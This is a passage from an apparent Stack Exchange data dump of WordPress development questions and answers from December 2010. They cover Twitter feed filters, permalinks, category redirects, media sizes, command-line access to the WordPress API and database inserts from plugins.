OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-14T12:52:54.983" LastActivityDate="2010-12-15T08:49:05.833" Title="append_content help" Tags="&lt;content&gt;&lt;the-content&gt;" AnswerCount="2" />
  <row Id="5332" PostTypeId="2" ParentId="5331" CreationDate="2010-12-14T06:07:24.180" Score="1" ViewCount="" Body="&lt;p&gt;Most likely your &lt;code&gt;the_twitter_feed()&lt;/code&gt; function &lt;code&gt;echo&lt;/code&gt;es results instead of &lt;code&gt;return&lt;/code&gt;ing them.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-14T06:07:24.180" CommentCount="8" />
  <row Id="5333" PostTypeId="2" ParentId="5326" CreationDate="2010-12-14T06:28:03.563" Score="0" ViewCount="" Body="&lt;p&gt;Certain which page types? In general &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_PAGE_Page&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags &gt; A PAGE Page&lt;/a&gt; allows to easily check for plenty of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also easily create individual &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Page_display&quot; rel=&quot;nofollow&quot;&gt;templates for pages&lt;/a&gt; if they must be quite different from the rest.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-14T06:28:03.563" CommentCount="1" />
  <row Id="5334" PostTypeId="2" ParentId="5322" CreationDate="2010-12-14T09:22:34.900" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like you need something like this - &lt;a href=&quot;http://wordpress.org/extend/plugins/role-scoper/&quot; rel=&quot;nofollow&quot;&gt;Role Scoper (Wordpress Plugin)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never used it myself so can't rate it but it looks like it'll be able to do what you require.&lt;/p&gt;&#xA;" OwnerUserId="1859" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:54:53.377" LastActivityDate="2011-02-05T17:54:53.377" CommentCount="3" />
  <row Id="5336" PostTypeId="1" CreationDate="2010-12-14T10:10:38.460" Score="0" ViewCount="79" Body="&lt;p&gt;I'm having trouble creating a location based url for my site. Here is the url format I wanted:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/topic/united-states/new-york-ny/brooklyn/5th%20Ave%20Gym/123&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/topic/united-states/new-york-ny/brooklyn/5th%20Ave%20Gym/123&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topic is the custom post type and 123 is the ID. &quot;united-states/new-york-ny/brooklyn&quot; is the 3 level categories. First I found a way to upload all the US states and cities into the category table: wp_terms and wp_term_taxonomy and assigned to the proper hierarchy. But there are total of 30000+ cities and states and now every time the page loads, it takes forever and a lot of time it's getting a timeout error. I'm not sure there is the right way to do it. I'm trying to ajax the category in the admin page but have no success. Please help...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mm&lt;/p&gt;&#xA;" LastActivityDate="2011-01-17T06:31:12.340" Title="Location Based Permalink" Tags="&lt;categories&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5337" PostTypeId="2" ParentId="5308" CreationDate="2010-12-14T10:13:59.703" Score="0" ViewCount="" Body="&lt;p&gt;Yeah it was driving me crazy before setting the permalink for custom post type. I found a plugin to handle the custom post type. It's very easy to use.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-permalinks/&lt;/a&gt;&#xA;WP should add this as a core feature!&#xA;Leo&lt;/p&gt;&#xA;" LastActivityDate="2010-12-14T10:13:59.703" CommentCount="1" />
  <row Id="5338" PostTypeId="1" AcceptedAnswerId="8679" CreationDate="2010-12-14T10:49:25.810" Score="1" ViewCount="146" Body="&lt;p&gt;can anyone tell me what's the best way to redirect a general category page to a specific one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;categoryName1 -&amp;gt; subcategoryName1&#xA;              -&amp;gt; subCategoryName2 &#xA;              -&amp;gt; subCategoryName3&#xA;categoryName2 -&amp;gt; subCategoryName4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when i click in the menu &quot;categoryName1&quot; (but &lt;strong&gt;not&lt;/strong&gt; on &quot;categoryName2&quot;) i'm redirect automatically into &quot;subcategoryName2&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="1937" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T14:00:06.347" LastActivityDate="2011-02-06T14:27:06.337" Title="redirecting from a general category page to another specific one" Tags="&lt;categories&gt;&lt;plugin-recommendation&gt;&lt;redirect&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5339" PostTypeId="2" ParentId="5324" CreationDate="2010-12-14T10:51:47.087" Score="1" ViewCount="" Body="&lt;p&gt;You could merge order parameters into the query when it's a tag page..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the following lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If this is a tag archive */ if( is_tag() ) { ?&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Lawyers in &amp;lt;i&amp;gt;&amp;lt;?php single_tag_title(); ?&amp;gt;&amp;lt;/i&amp;gt; Practice Area:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if( is_tag() ) { &#xA;    $args = array_merge( &#xA;        array( 'order' =&amp;gt; 'asc', 'orderby' =&amp;gt; 'title' ), &#xA;        $wp_query-&amp;gt;query&#xA;    );&#xA;    query_posts( $args ); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Lawyers in &amp;lt;em&amp;gt;&amp;lt;?php single_tag_title(); ?&amp;gt;&amp;lt;/em&amp;gt; Practice Area:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2010-12-14T12:33:48.023" LastActivityDate="2010-12-14T12:33:48.023" CommentCount="6" />
  <row Id="5340" PostTypeId="1" AcceptedAnswerId="5350" CreationDate="2010-12-14T11:48:55.220" Score="0" ViewCount="2670" Body="&lt;p&gt;I want to create a &lt;a href=&quot;http://groupon.com&quot; rel=&quot;nofollow&quot;&gt;Groupon.com&lt;/a&gt; clone.  Do you think WordPress is the right system? If not, do you have any other recommendations?&#xA;Any tips/tricks you have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the recommended plug-ins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any better CMS option, I'd love a recommendation...&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-12-16T10:05:37.140" LastActivityDate="2011-09-01T09:40:17.910" Title="WordPress as a Groupon clone" Tags="&lt;clone-site&gt;" AnswerCount="4" />
  <row Id="5341" PostTypeId="2" ParentId="1431" CreationDate="2010-12-14T12:12:58.797" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://fundry.com/&quot; rel=&quot;nofollow&quot;&gt;http://fundry.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saw this one tweeted, has several WP-related projects/plugins in it already.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-14T12:12:58.797" CommunityOwnedDate="2010-12-14T12:12:58.797" CommentCount="1" />
  <row Id="5342" PostTypeId="1" CreationDate="2010-12-14T12:25:04.640" Score="5" ViewCount="339" Body="&lt;p&gt;&lt;strong&gt;Situation :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When uploading an image via the media uploader, WP automatically makes at least 3 additional sizes, that comes to 4 images including the original one. Most of the time, the images will be used at most 2 ( 1 thumbnail for the archive page and 1 for within the post itself. )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before long, the site will be bloated with unused images, and that's ok until the time to backup site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose a new WP site is up and there will be 1 post per day with 1 image per post, for a year, we will have 365 times 4 image files sitting in the upload folder ( 1460 files).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within 3 years, we will have 4,380 image files all together !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do you handle this ?&lt;/p&gt;&#xA;" OwnerUserId="1977" LastActivityDate="2011-01-13T15:49:09.000" Title="Media Upload Folder - how to manage" Tags="&lt;media&gt;&lt;image&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" />
  <row Id="5343" PostTypeId="2" ParentId="5342" CreationDate="2010-12-14T13:04:33.280" Score="4" ViewCount="" Body="&lt;p&gt;Images sizes for the purpose of creating/deleting attachments seem to be retrieved with &lt;code&gt;get_intermediate_image_sizes()&lt;/code&gt; function, that isn't documented in Codex (only briefly mentioned in &lt;a href=&quot;http://codex.wordpress.org/Version_3.0#Development.2C_Themes.2C_Plugins&quot; rel=&quot;nofollow&quot;&gt;3.0 release notes&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function passes result (combined set of default and custom image sizes) through &lt;code&gt;intermediate_image_sizes&lt;/code&gt; filter, so you can likely use that hook to disable unwanted sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/media.php#L573&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-14T13:04:33.280" CommentCount="2" />
  <row Id="5344" PostTypeId="2" ParentId="5331" CreationDate="2010-12-14T13:08:04.337" Score="1" ViewCount="" Body="&lt;p&gt;Edited, try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function parse_twitter_feed($feed, $prefix, $tweetprefix, $tweetsuffix, $suffix) {&#xA;    $feed = str_replace(&quot;&amp;amp;lt;&quot;, &quot;&amp;lt;&quot;, $feed);&#xA;    $feed = str_replace(&quot;&amp;amp;gt;&quot;, &quot;&amp;gt;&quot;, $feed);&#xA;    $clean = explode(&quot;&amp;lt;content type=\&quot;html\&quot;&amp;gt;&quot;, $feed);&#xA;&#xA;    $amount = count($clean) - 1;&#xA;&#xA;    $output = $prefix;&#xA;&#xA;    for ($i = 1; $i &amp;lt;= $amount; $i++) {&#xA;        $cleaner = explode(&quot;&amp;lt;/content&amp;gt;&quot;, $clean[$i]);&#xA;        $output .= $tweetprefix;&#xA;        $output .= $cleaner[0];&#xA;        $output .= $tweetsuffix;&#xA;    }&#xA;&#xA;    $output .= $suffix;&#xA;&#xA;    return $output;&#xA;}&#xA;&#xA;function the_twitter_feed($username) {&#xA;    // $username = &quot;Mba_&quot;; // Your twitter username.&#xA;    $limit = &quot;5&quot;; // Number of tweets to fetch.&#xA;&#xA;    /* These prefixes and suffixes will display before and after the entire block of tweets. */&#xA;    $prefix = &quot;&quot;; // Prefix - some text you want displayed before all your tweets.&#xA;    $suffix = &quot;&quot;; // Suffix - some text you want displayed after all your tweets.&#xA;    $tweetprefix = &quot;&amp;lt;b&amp;gt;&quot; . $username . &quot;: &amp;lt;/b&amp;gt; &quot;; // Tweet Prefix - some text you want displayed before each tweet.&#xA;    $tweetsuffix = &quot;&amp;lt;br&amp;gt;&quot;; // Tweet Suffix - some text you want displayed after each tweet.&#xA;&#xA;    $feed = &quot;http://search.twitter.com/search.atom?q=from:&quot; . $username . &quot;&amp;amp;rpp=&quot; .&#xA;        $limit;&#xA;&#xA;    $twitterFeed = get_transient($feed);&#xA;    if (!$twitterFeed) {&#xA;        $twitterFeed = wp_remote_fopen($feed);&#xA;        set_transient($feed, $twitterFeed, 3600); // cache for an hour&#xA;    }&#xA;    if ($twitterFeed)&#xA;        return parse_twitter_feed($twitterFeed, $prefix, $tweetprefix, $tweetsuffix, $suffix);&#xA;}&#xA;&#xA;function append_the_content($content) {&#xA;    if (get_option('tweetID') != null) {&#xA;        $content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot; . the_twitter_feed(get_option('tweetID')) .&#xA;            &quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;        return $content;&#xA;    } else {&#xA;        return $content;&#xA;    }&#xA;}&#xA;&#xA;add_filter('the_content', 'append_the_content');&#xA;&#xA;add_action('admin_menu', 'tweet_fetch');&#xA;&#xA;function tweet_fetch() {&#xA;    add_options_page('Tweet', 'Tweet', 8, 'tweet', 'tweet_fetcher');&#xA;}&#xA;&#xA;function tweet_fetcher() {&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Tweet Fetcher options&amp;lt;/h2&amp;gt;&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;form method='post' action='options.php' style='margin:0 20px;'&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;    wp_nonce_field('update-options');&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Twitter UserID:&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;tweetID&quot;  value=&quot;&amp;lt;?php&#xA;&#xA;    echo get_option('tweetID');&#xA;&#xA;?&amp;gt;&quot; &amp;lt;?php&#xA;&#xA;    echo get_option('tweetID');&#xA;&#xA;?&amp;gt; /&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;input type='hidden' name='action' value='update'/&amp;gt;&#xA;&amp;lt;input type='hidden' name='page_options' value='tweetID'/&amp;gt;&#xA;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;p class='submit'&amp;gt;&#xA;&amp;lt;input type='submit' name='Submit' value='Update Options &amp;amp;raquo;'/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditorDisplayName="" LastEditDate="2010-12-15T08:49:05.833" LastActivityDate="2010-12-15T08:49:05.833" CommentCount="7" />
  <row Id="5345" PostTypeId="1" CreationDate="2010-12-14T14:10:31.627" Score="1" ViewCount="173" Body="&lt;p&gt;I'm looking to implement standard category terms across a network of multisite blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The aim is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create a category on one blog (or the root blog), and it is created on all blogs&lt;/li&gt;&#xA;&lt;li&gt;each blog will have its own category URLs e.g. with a category called 'apples' it'd be test.example.com/categories/apples and on anothertest.example.com/categories/apples - only listing those posts on the appropriate blog.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've seen there's a concept of global_terms in the code - I'm not sure if this is related or not, as I can't find a lot of documentation on this, or whether it's deprecated in 3.0.x. If this is what I'm looking for, can anyone provide an example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dan&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2010-12-14T14:39:06.857" Title="Sitewide category terms" Tags="&lt;multisite&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="5346" PostTypeId="1" AcceptedAnswerId="5361" CreationDate="2010-12-14T14:24:05.283" Score="1" ViewCount="93" Body="&lt;p&gt;I would like to upload a PDF file with spaces in it, and I want to do this using the uploader in the rich text editor (really, I want other, less savvy people to be able to do it, so convoluted workarounds are not really an option). Trouble is, Wordpress (3.0.3) insists on replacing spaces with hyphens and lowercasing everything (despite the fact that it's &lt;em&gt;just not necessary&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I stop this? Turn it off? Or is there an extension to thwart this behaviour? Even a manual edit to the PHP might be okay, if there's no alternative.&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2010-12-14T17:39:57.470" Title="Prevent renaming of uploaded media" Tags="&lt;uploads&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5347" PostTypeId="2" ParentId="5322" CreationDate="2010-12-14T14:27:20.193" Score="0" ViewCount="" Body="&lt;p&gt;I am getting ready to do create a member login system myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way I've seen it done is to have a search box where the user input their email address.  The resulting page is a login page which is dedicated to that user.  They would login using their username and password for the content you control from that login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know how it goes&lt;/p&gt;&#xA;" LastActivityDate="2010-12-14T14:27:20.193" CommentCount="2" />
  <row Id="5348" PostTypeId="2" ParentId="5345" CreationDate="2010-12-14T14:39:06.857" Score="2" ViewCount="" Body="&lt;p&gt;global_terms is not only deprecated, it was never fully functional, and all it did was assign the same category id to identical terms. It didn't do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you can create the same categories on all blogs at the time of creation using something like this plugin:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wpmu-new-blog-defaults/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wpmu-new-blog-defaults/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the part about making it on the main blog and pumping it out to existing one will take some custom coding.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-14T14:39:06.857" CommentCount="3" />
  <row Id="5349" PostTypeId="1" AcceptedAnswerId="5352" CreationDate="2010-12-14T14:47:01.433" Score="4" ViewCount="512" Body="&lt;p&gt;I have a PHP script that I need to run as a cron job.  However this script needs access to the WP API (&lt;code&gt;get_pages()&lt;/code&gt;, &lt;code&gt;get_post_meta()&lt;/code&gt; and &lt;code&gt;get_permalink()&lt;/code&gt; specifically).  I've followed the instructions at &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&lt;/a&gt;, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('../../../wp-blog-header.php');&#xA;$args = array(&#xA;    'child_of' =&amp;gt; 2083&#xA;);&#xA;$pages = get_pages($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I run &lt;code&gt;php -q this_file.php&lt;/code&gt; from the command-line I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; &amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;&#xA;    &amp;lt;title&amp;gt;Database Error&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Error establishing a database connection&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any thoughts/suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1979" LastActivityDate="2010-12-14T15:21:23.997" Title="Access WordPress API Outside of WordPress (command-line PHP)" Tags="&lt;api&gt;&lt;command-line&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="5350" PostTypeId="2" ParentId="5340" CreationDate="2010-12-14T15:09:55.510" Score="4" ViewCount="" Body="&lt;p&gt;You can build a clone of just about any website using WordPress.  The question, though, is how much work are you willing to put into it?  Since you're already asking for tips/tricks and plug-ins, I'm guessing you want to make a quick clone that requires little to no additional development time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, here are the basic features of Groupon that you'll need to reproduce:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Different listings for different regions/cities&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can do this several different ways, but the easiest would be with a &lt;a href=&quot;http://justintadlock.com/archives/2009/05/06/custom-taxonomies-in-wordpress-28&quot; rel=&quot;nofollow&quot;&gt;custom taxonomy&lt;/a&gt; for your site.  Each city or region would be a taxonomy term, which you can use to separate and categorize the posted deals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displaying deals for different regions would require you only to add a region-specific filter to your query.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Coupon Purchase&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The core of Groupon is the ability to actually purchase the posted coupons.  You could set this up with just about any of the &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=commerce&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;e-commerce&lt;/a&gt; or &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=shopping+cart&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;shopping cart&lt;/a&gt; plug-ins available in the repository.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Deal Timeout&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Every Groupon deal expires after a certain period of time.  You can achieve the same kind of functionality with the &lt;a href=&quot;http://wordpress.org/extend/plugins/post-expirator/&quot; rel=&quot;nofollow&quot;&gt;Post Expirator&lt;/a&gt; plug-in.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Social Networking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's no real value in Groupon if people can't share it with others.  I'd recommend a &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=facebook+like+button&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Facebook Like button&lt;/a&gt; or a &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=tweet+this&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;Tweet This&lt;/a&gt; widget somewhere so people can broadcast deals as they're found.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-14T15:09:55.510" />
  <row Id="5352" PostTypeId="2" ParentId="5349" CreationDate="2010-12-14T15:21:23.997" Score="7" ViewCount="" Body="&lt;p&gt;WordPress expects the $_SERVER variables to be setup as if it were a normal web request.  Also, I would suggest loading wp-load.php instead of wp-blog-header.php since you probably don't need the WP class or the template loader to run.  Here is how I normally start any scripts I need to interact with WP from command line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('DOING_AJAX', true);&#xA;define('WP_USE_THEMES', false);&#xA;$_SERVER = array(&#xA;    &quot;HTTP_HOST&quot; =&amp;gt; &quot;mysite.com&quot;,&#xA;    &quot;SERVER_NAME&quot; =&amp;gt; &quot;mysite.com&quot;,&#xA;    &quot;REQUEST_URI&quot; =&amp;gt; &quot;/&quot;,&#xA;    &quot;REQUEST_METHOD&quot; =&amp;gt; &quot;GET&quot;&#xA;);&#xA;require_once('current/wp-load.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-12-14T15:21:23.997" CommentCount="7" />
  <row Id="5353" PostTypeId="1" AcceptedAnswerId="5355" CreationDate="2010-12-14T16:04:10.423" Score="0" ViewCount="92" Body="&lt;p&gt;I'm testing a script to create a database insert. Is this the correct syntax for the insert or do I need to obtain a reference to global $wpdb and use that?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Test Database Insert&#xA;*/&#xA;&#xA;function test_db_insert()&#xA;{&#xA;INSERT wp_terms(term_id, 'name', slug) VALUES (1, 'test', 'test');&#xA;INSERT wp_term_taxonomy(term_taxonomy_id, term_id, taxonomy, parent) VALUES (1, 1, 'category', 0);&#xA;INSERT wp_term_relationships(object_id, term_taxonomy_id, term_order) VALUES (1, 1, 0);&#xA;}&#xA;&#xA;register_activation_hook(__FILE__, 'test_db_insert');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2010-12-14T16:15:21.787" LastActivityDate="2010-12-14T17:15:39.243" Title="Correct syntax for database inserts from plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="5354" PostTypeId="2" ParentId="5326" CreationDate="2010-12-14T16:08:27.983" Score="0" ViewCount="" Body="&lt;p&gt;Well your options are to hook the slider into the page/post media gallery using something like  get_children or get_posts attachments. Another option is to use a custom &quot;image&quot; field for the slider images and query them using query_posts.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-14T16:08:27.983" CommentCount="1" />
  <row Id="5355" PostTypeId="2" ParentId="5353" CreationDate="2010-12-14T16:25:25.367" Score="3" ViewCount="" Body="&lt;p&gt;This seems like raw SQL that won't make sense to PHP at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run this queries, as raw queries using &lt;code&gt;$wpdb-&amp;gt;query()&lt;/code&gt; but it's more proper to use its &lt;code&gt;$wpdb-&amp;gt;insert()&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#INSERT_rows&quot; rel=&quot;nofollow&quot;&gt;wpdb Class &gt; INSERT rows&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-14T16:25:25.367" />
  <row Id="5356" PostTypeId="2" ParentId="5300" CreationDate="2010-12-14T16:32:22.037" Score="0" ViewCount="" Body="&lt;p&gt;Figured this one out through wp-hackers: &lt;a href=&quot;http://groups.google.com/group/wp-hackers/browse_thread/thread/cbed2605260efe95&quot; rel=&quot;nofollow&quot;&gt;http://groups.google.com/group/wp-hackers/browse_thread/thread/cbed2605260efe95&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-12-14T16:32:22.037" />
  <row Id="5357" PostTypeId="1" AcceptedAnswerId="5360" CreationDate="2010-12-14T16:37:12.520" Score="2" ViewCount="316" Body="&lt;p&gt;I'm using wordpress for a large non-profit with many sites. I'd like to decrease the amount of installation steps for the people setting up their sites. Is it possible to make a WP install that automatically activates the plugins, themes and default content I choose?&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-14T17:29:53.047" Title="Automatically enable custom theme, plugins and default content on installation?" Tags="&lt;installation&gt;&lt;setup&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="5358" PostTypeId="1" AcceptedAnswerId="5377" CreationDate="2010-12-14T17:08:24.130" Score="1" ViewCount="146" Body="&lt;p&gt;Basically I want to develop the ability to search comments on my site. A form with input field where the visitor can enter a search string, which tells WP to display only comments that contain that search phrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best way to do this is by making a custom &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/comment-template.php#L825&quot; rel=&quot;nofollow&quot;&gt;comments_template()&lt;/a&gt; function, then filtering out comments that don't contain &lt;code&gt;$_GET['search_phrase']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers/suggestions, especially on the &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.3/wp-includes/comment-template.php#L885&quot; rel=&quot;nofollow&quot;&gt;SQL part&lt;/a&gt; are welcome :)&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2011-08-01T03:24:15.110" Title="Comment filtering (search)" Tags="&lt;3.0&gt;&lt;php&gt;&lt;comments&gt;&lt;search&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="5359" PostTypeId="2" ParentId="5353" CreationDate="2010-12-14T17:15:39.243" Score="1" ViewCount="" Body="&lt;p&gt;You shouldn't need to use SQL at all for that. Replace it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_set_object_terms(1, 'test', 'taxonomy_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;…where &lt;code&gt;taxonomy_name&lt;/code&gt; is the name of the taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="1982" LastActivityDate="2010-12-14T17:15:39.243" CommentCount="3" />
